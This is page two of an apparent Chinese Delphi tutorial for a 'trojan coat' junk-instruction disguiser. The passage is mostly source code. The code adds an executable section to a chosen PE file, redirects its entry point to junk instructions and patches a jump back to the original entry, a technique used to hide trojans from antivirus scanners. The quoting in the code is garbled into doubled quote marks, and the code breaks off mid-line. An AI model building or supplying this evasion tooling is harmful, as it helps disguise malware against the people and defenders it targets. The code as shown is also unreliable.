转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> Delphi程序 >> 正文
一个简单的花指令伪装器--Delphi版木马彩衣         ★★★★

一个简单的花指令伪装器--Delphi版木马彩衣

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2563 更新时间:2009/4/23 18:41:47
  jmp eax
00469031     90            nop

}

function IntToHex(Int: Int64; IntSize: Byte): String;
procedure AddSection(FName,MySection: string;SecSize:DWord);


implementation

{$R *.dfm}

var
  OEPCODE: THEAD;
  JMPOFF :integer;

function IntToHex(Int: Int64; IntSize: Byte): String;
const
  HexChars: array[0..15] of Char = (''''0'''', ''''1'''', ''''2'''', ''''3'''', ''''4'''', ''''5'''',''''6'''', ''''7'''', ''''8'''', ''''9'''', ''''a'''', ''''b'''', ''''c'''', ''''d'''', ''''e'''', ''''f'''');
var
  n: Byte;
begin
  Result := '''''''';
  for n := 0 to IntSize - 1 do
  begin
    Result := HexChars[Int and $F] + Result;
    Int := Int shr $4;
  end;
end;

procedure AddSection(FName,MySection: string;SecSize:DWord);
var
  DOSHEADER: IMAGE_DOS_HEADER;  //DOS MZ header
  PEHEADER: IMAGE_NT_HEADERS;   //PE header
  SectionHeader: IMAGE_SECTION_HEADER; //节表
  MySectionHeader: IMAGE_SECTION_HEADER; //自定义节表
  fs: TFileStream;
  AddressOfEntryPoint: DWORD;  //入口点
  i:integer;
begin
  fs := TFileStream.Create(FName, fmOpenReadWrite +
    fmShareDenyWrite);
  try
    {Tstream中定义的虚方法有四个:
    1、Read:此方法实现将数据从流中读出。函数原形为:
    Function Read(var Buffer;Count:Longint):Longint;virtual;abstract;
    参数Buffer为数据读出时放置的缓冲区,Count为需要读出的数据的字节数,该方法返回值为实际读出的字节数,它可以小于或等于Count中指定的值。
    2、Write:此方法实现将数据写入流中。函数原形为:
    Function Write(var Buffer;Count:Longint):Longint;virtual;abstract;
    参数Buffer为将要写入流中的数据的缓冲区,Count为数据的长度字节数,该方法返回值为实际写入流中的字节数。
    3、Seek:此方法实现流中读取指针的移动。函数原形为:
    Function Seek(Offset:Longint;Origint:Word):Longint;virtual;abstract;
    参数Offset为偏移字节数,参数Origint指出Offset的实际意义,其可能的取值如下:
    soFromBeginning:Offset为移动后指针距离数据开始的位置。此时Offset必须大于或者等于零。
    soFromCurrent:Offset为移动后指针与当前指针的相对位置。
    soFromEnd:Offset为移动后指针距离数据结束的位置。此时Offset必须小于或者等于零。该方法返回值为移动后指针的位置。
    4、Setsize:此方法实现改变数据的大小。函数原形为:
    Function Setsize(NewSize:Longint);virtual; }
    //将指针偏移量放到文件头部
    fs.Seek(0, soFromBeginning);
    //读取DOS头信息
    fs.Read(DOSHEADER, sizeof(DOSHEADER));
    //DOS MZ header 又命名为 IMAGE_DOS_HEADER.。其中只有两个域比较重要:
    //e_magic 包含字符串"MZ",e_lfanew 包含PE header在文件中的偏移量。
    //将指针移到PE header在文件中的偏移量
    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    //读取PE header头信息
    fs.Read(PEHEADER, sizeOf(PEHEADER));
    //PEHEADER.FileHeader.NumberOfSections:文件的节数目。如果我们要在文件中增加或删除一个节,就需要修改这个值。
    //将指针移到节表在当前位置的相对偏移量
    fs.Seek(sizeOf(SectionHeader) *
      (PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);
    //读取节表的信息
    fs.Read(SectionHeader, sizeof(IMAGE_SECTION_HEADER));
    //节名长不超过8字节。记住节名仅仅是个标记而已,我们选择任何名字甚至空着也行
  {  MySectionHeader.Name[0] := ord(''''F'''');
    MySectionHeader.Name[1] := ord(''''i'''');
    MySectionHeader.Name[2] := ord(''''7'''');
    MySectionHeader.Name[3] := ord(''''k'''');
    MySectionHeader.Name[4] := ord(''''e'''');
    MySectionHeader.Name[5] := 0;
    MySectionHeader.Name[6] := 0;
    MySectionHeader.Name[7] := 0;  }
    for i:=0 to 7 do
    begin
      MySectionHeader.Name[i] :=0;
      if i<length(MySection) then
        MySectionHeader.Name[i] :=Ord(MySection[i+1]);
    end;
    //VirtualAddress 本节的RVA(相对虚拟地址)。PE装载器将节映射至内存时会读取本值,因此如果域值是1000h,
    //而PE文件装在地址400000h处,那么本节就被载到401000h。
    //SizeOfImage 内存中整个PE映像体的尺寸。它是所有头和节经过节对齐处理后的大小。
    MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;
    //节的大小 $200十六进制 = 512字节  最好大于 512 不然可能会出错
    //MySectionHeader.Misc.VirtualSize := $200;
    MySectionHeader.Misc.VirtualSize := SecSize;  //StrToInt(IntToHex(SecSize,sizeof(SecSize)));
    //SizeOfRawData 经过文件对齐处理后节尺寸,PE装载器提取本域值了解需映射入内存的节字节数。
    //(译者注: 假设一个文件的文件对齐尺寸是0x200,如果前面的 VirtualSize域指示本节长度是0x388字节,
    //则本域值为0x400,表示本节是0x400字节长)。
    //FileAlignment 文件中节对齐的粒度。例如,如果该值是(200h),,那么每节的起始地址必须是512的倍数。
    //若第一节从文件偏移量200h开始且大小是10个字节,则下一节必定位于偏移量400h:
    //即使偏移量512和1024之间还有很多空间没被使用/定义。
    MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div
      PEHEADER.OptionalHeader.FileAlignment + 1) * PEHEADER.OptionalHeader.FileAlignment -
      PEHEADER.OptionalHeader.SizeOfImage;
    //这是节基于文件的偏移量,PE装载器通过本域值找到节数据在文件中的位置。
    MySectionHeader.PointerToRawData :=
      SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
    //包含标记以指示节属性,比如节是否含有可执行代码、初始化数据、未初始数据,是否可写、可读等。
    MySectionHeader.Characteristics := $E0000020;
    {PE装载器的工作:
    1.读取 IMAGE_FILE_HEADER 的 NumberOfSections域,知道文件的节数目。
    2.SizeOfHeaders 域值作为节表的文件偏移量,并以此定位节表。
    3.遍历整个结构数组检查各成员值。
    4.对于每个结构,我们读取PointerToRawData域值并定位到该文件偏移量。然后再读取SizeOfRawData域值来决定
    映射内存的字节数。将VirtualAddress域值加上ImageBase域值等于节起始的虚拟地址。然后就准备把节映射进内存,
    并根据Characteristics域值设置属性。
    5.遍历整个数组,直至所有节都已处理完毕。
    注意我们并没有使用节名: 这其实并不重要。}
    //节表数量加一
    Inc(PEHEADER.FileHeader.NumberOfSections);
    //写入新加入的节表
    fs.Write(MySectionHeader, sizeOf(MySectionHeader));
    //将指针移到PE header在文件中的偏移量
    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    //PE装载器准备运行的PE文件的第一个指令的RVA。若您要改变整个执行的流程,
    //可以将该值指定到新的RVA,这样新RVA处的指令首先被执行。
    AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint;
    //将入口地址指定到新加节表的RVA(相对虚拟地址)
    PEHEADER.OptionalHeader.AddressOfEntryPoint :=
      MySectionHeader.VirtualAddress;
    //win32子系统版本。
    PEHEADER.OptionalHeader.MajorLinkerVersion := 7;
    PEHEADER.OptionalHeader.MinorLinkerVersion := 0;
    AddressOfEntryPoint := AddressOfEntryPoint +
      PEHEADER.OptionalHeader.ImageBase;

    asm   //这里说明一下,这是嵌入的汇编代码,寄存器—CPU暂时储存数据的东西,比内存更快,以提高效率
      PUSHAD
      LEA eax, OEPCODE  //将OEPCODE的地址交给寄存器
      ADD eax, JMPOFF   //添加JMPOFF值给寄存器
      MOV edx, AddressOfEntryPoint   //转移指令,相当于付值语句,左边给右边
      MOV DWORD ptr [eax], edx    //同上
      POPAD
    end;
    //更改内存中整个PE映像体的尺寸
    PEHEADER.OptionalHeader.SizeOfImage :=
      PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;
    //写入PEHEADER信息
    fs.Write(PEHEADER, sizeof(PEHEADER));
    //移动指针到文件尾部
    fs.Seek(fs.Size, soFromBeginning);
    //写入花指令数据
    fs.Write(OEPCODE, MySectionHeader.Misc.VirtualSize);
  finally
    fs.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    edit1.Text :=OpenDialog1.FileName;
end;

procedure TForm1.obtain;
var
  DOSHEADER: IMAGE_DOS_HEADER;
  PEHEADER: IMAGE_NT_HEADERS;
  fs: TFileStream;
begin
  fs := TFileStream.Create(Edit1.Text, fmOpenReadWrite +
    fmShareDenyWrite);
  try
    fs.Seek(0, soFromBeginning);
    fs.Read(DOSHEADER, sizeof(DOSHEADER));

    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    fs.Read(PEHEADER, sizeOf(PEHEADER));
    FImageBase := PEHEADER.OptionalHeader.ImageBase;
  finally
    fs.Free;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  FName,SecName:string;
  SecSize:DWord;
begin
  if trim(Edit1.Text) = '''''''' then
  begin
    Messagebox(Handle, ''''请选择你要伪装的程序!'''', ''''提示'''', MB_OK + MB_ICONSTOP);
    Exit;
  end;
  FName :=trim(Edit1.Text);
  SecName :=trim(Edit2.Text);
  if SecName='''''''' then SecName:=''''.hnxy

上一页  [1] [2] [3] [4]  下一页


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台